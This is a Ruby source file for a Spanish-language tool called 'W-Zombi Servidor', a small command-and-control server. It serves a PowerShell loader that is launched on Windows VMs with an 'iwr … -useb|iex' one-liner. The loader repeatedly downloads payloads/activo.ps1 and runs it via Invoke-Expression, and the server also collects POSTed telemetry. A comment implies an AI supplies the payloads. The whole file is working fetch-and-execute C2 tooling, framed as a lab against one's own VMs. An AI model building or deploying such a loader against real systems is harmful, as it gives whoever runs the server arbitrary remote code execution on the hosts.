156 lines
6.2 KiB
Ruby
Executable File
156 lines
6.2 KiB
Ruby
Executable File
#!/usr/bin/env ruby
|
|
# frozen_string_literal: true
|
|
|
|
# W-Zombi Servidor — Servidor HTTP de inyección lateral para VMs Windows
|
|
# Uso: ruby servidor.rb [opciones]
|
|
#
|
|
# Sirve archivos del directorio payloads/ y recibe telemetría POST desde las VMs.
|
|
# El archivo payloads/activo.ps1 es el que consumirá el loop C2 de la VM.
|
|
|
|
require 'webrick'
|
|
require 'json'
|
|
require 'fileutils'
|
|
|
|
TOOL_DIR = File.expand_path(__dir__)
|
|
PAYLOADS = File.join(TOOL_DIR, 'payloads')
|
|
LOG_FILE = File.join(TOOL_DIR, 'telemetria.log')
|
|
PORT = (ARGV.find { |a| a.match?(/^\d+$/) } || 8000).to_i
|
|
EXT_PORT = (ENV['EXT_PORT'] || PORT).to_i
|
|
require 'socket'
|
|
def get_ip
|
|
ENV['HOST_IP'] || Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }&.ip_address || '127.0.0.1'
|
|
end
|
|
HOST_IP = get_ip
|
|
PUBLIC_URL = "#{HOST_IP}:#{EXT_PORT}"
|
|
|
|
# Colores ANSI
|
|
C = { reset: "\e[0m", green: "\e[32m", cyan: "\e[36m", yellow: "\e[33m", red: "\e[31m", dim: "\e[2m" }
|
|
|
|
def banner
|
|
puts "#{C[:green]}╔══════════════════════════════════════════════════╗#{C[:reset]}"
|
|
puts "#{C[:green]}║ 🧟 W-ZOMBI Servidor — Inyección Lateral ║#{C[:reset]}"
|
|
puts "#{C[:green]}╚══════════════════════════════════════════════════╝#{C[:reset]}"
|
|
puts "#{C[:cyan]}Puerto: #{C[:yellow]}#{PORT}#{C[:reset]}"
|
|
puts "#{C[:cyan]}Payloads: #{C[:yellow]}#{PAYLOADS}/#{C[:reset]}"
|
|
puts "#{C[:cyan]}Telemetría:#{C[:yellow]}#{LOG_FILE}#{C[:reset]}"
|
|
puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}"
|
|
|
|
# Listar payloads disponibles
|
|
Dir.glob(File.join(PAYLOADS, '*.ps1')).sort.each do |f|
|
|
name = File.basename(f)
|
|
activo = name == 'activo.ps1' ? " #{C[:green]}◀ ACTIVO#{C[:reset]}" : ''
|
|
puts " 📄 #{C[:cyan]}#{name}#{C[:reset]}#{activo}"
|
|
end
|
|
puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}"
|
|
puts "#{C[:yellow]}En la VM (PowerShell Admin):#{C[:reset]}"
|
|
puts " #{C[:green]}iwr #{PUBLIC_URL}/zombi.ps1 -useb|iex#{C[:reset]}"
|
|
puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}"
|
|
puts ''
|
|
end
|
|
|
|
def timestamp
|
|
Time.now.strftime('%H:%M:%S')
|
|
end
|
|
|
|
def log_telemetry(msg)
|
|
line = "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] #{msg}"
|
|
File.open(LOG_FILE, 'a') { |f| f.puts(line) }
|
|
puts "#{C[:cyan]}[#{timestamp}] 📡 TELEMETRÍA:#{C[:reset]} #{msg}"
|
|
end
|
|
|
|
# Crear directorio de payloads si no existe
|
|
FileUtils.mkdir_p(PAYLOADS)
|
|
|
|
# Si no hay activo.ps1, crear uno vacío señalizador
|
|
activo = File.join(PAYLOADS, 'activo.ps1')
|
|
unless File.exist?(activo)
|
|
File.write(activo, "Write-Host 'W-Zombi: Sin payload activo. La IA lo actualizara pronto.' -ForegroundColor Yellow\n")
|
|
end
|
|
|
|
# Servidor HTTP
|
|
server = WEBrick::HTTPServer.new(
|
|
Port: PORT,
|
|
Logger: WEBrick::Log.new('/dev/null'),
|
|
AccessLog: []
|
|
)
|
|
|
|
# Ruta principal: sirve el loader (zombi.ps1) dinámicamente
|
|
server.mount_proc '/zombi.ps1' do |_req, res|
|
|
# Genera un loader que apunta al payload activo
|
|
loader = <<~PS1
|
|
$WZ_HOST = "#{PUBLIC_URL}"
|
|
Write-Host "======================================================" -ForegroundColor Green
|
|
Write-Host " ZOMBI C2 LOOP — Conectado a $WZ_HOST " -ForegroundColor Green
|
|
Write-Host "======================================================" -ForegroundColor Green
|
|
Write-Host "Max 5 ciclos. CTRL+C para detener." -ForegroundColor DarkGray
|
|
Write-Host ""
|
|
|
|
$maxCiclos = 5
|
|
|
|
for ($ciclo = 1; $ciclo -le $maxCiclos; $ciclo++) {
|
|
Write-Host "[ZOMBI] Ciclo $ciclo/$maxCiclos" -ForegroundColor DarkGray
|
|
try {
|
|
$payload = Invoke-RestMethod -Uri "http://#{PUBLIC_URL}/payloads/activo.ps1" -UseBasicParsing -ErrorAction Stop
|
|
if ($payload -and $payload.Trim() -ne "") {
|
|
try {
|
|
Invoke-Expression $payload
|
|
} catch {
|
|
Write-Host ">>> ERROR EN PAYLOAD <<<" -ForegroundColor Red
|
|
Write-Host $_.Exception.Message -ForegroundColor Red
|
|
}
|
|
}
|
|
} catch {
|
|
Write-Host "[ZOMBI] Sin conexion al servidor." -ForegroundColor Red
|
|
}
|
|
|
|
if ($ciclo -lt $maxCiclos) {
|
|
for ($i = 10; $i -gt 0; $i--) {
|
|
Write-Host -NoNewline "`r[ZOMBI] Siguiente ciclo en $i seg "
|
|
if ([console]::KeyAvailable) {
|
|
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
|
|
Write-Host "`n[ZOMBI] Detenido por usuario." -ForegroundColor Yellow
|
|
return
|
|
}
|
|
Start-Sleep -Seconds 1
|
|
}
|
|
Write-Host -NoNewline "`r `r"
|
|
}
|
|
}
|
|
|
|
Write-Host ""
|
|
Write-Host "======================================================" -ForegroundColor Yellow
|
|
Write-Host " ZOMBI: $maxCiclos ciclos completados. Auto-detenido." -ForegroundColor Yellow
|
|
Write-Host "======================================================" -ForegroundColor Yellow
|
|
PS1
|
|
res['Content-Type'] = 'text/plain'
|
|
res.body = loader
|
|
puts "#{C[:green]}[#{timestamp}] 🧟 Loader descargado por VM#{C[:reset]}"
|
|
end
|
|
|
|
# Servir payloads estáticos
|
|
server.mount('/payloads', WEBrick::HTTPServlet::FileHandler, PAYLOADS)
|
|
|
|
# Endpoint de telemetría (POST /log)
|
|
server.mount_proc '/log' do |req, res|
|
|
if req.request_method == 'POST'
|
|
body = req.body || ''
|
|
msg = if body.include?('=')
|
|
URI.decode_www_form(body).to_h['msg'] || body
|
|
else
|
|
body
|
|
end
|
|
log_telemetry(msg) unless msg.strip.empty?
|
|
end
|
|
res['Content-Type'] = 'text/plain'
|
|
res.body = 'OK'
|
|
end
|
|
|
|
# Señal de parada limpia
|
|
trap('INT') do
|
|
puts "\n#{C[:yellow]}[#{timestamp}] Servidor detenido.#{C[:reset]}"
|
|
server.shutdown
|
|
end
|
|
|
|
banner
|
|
server.start
|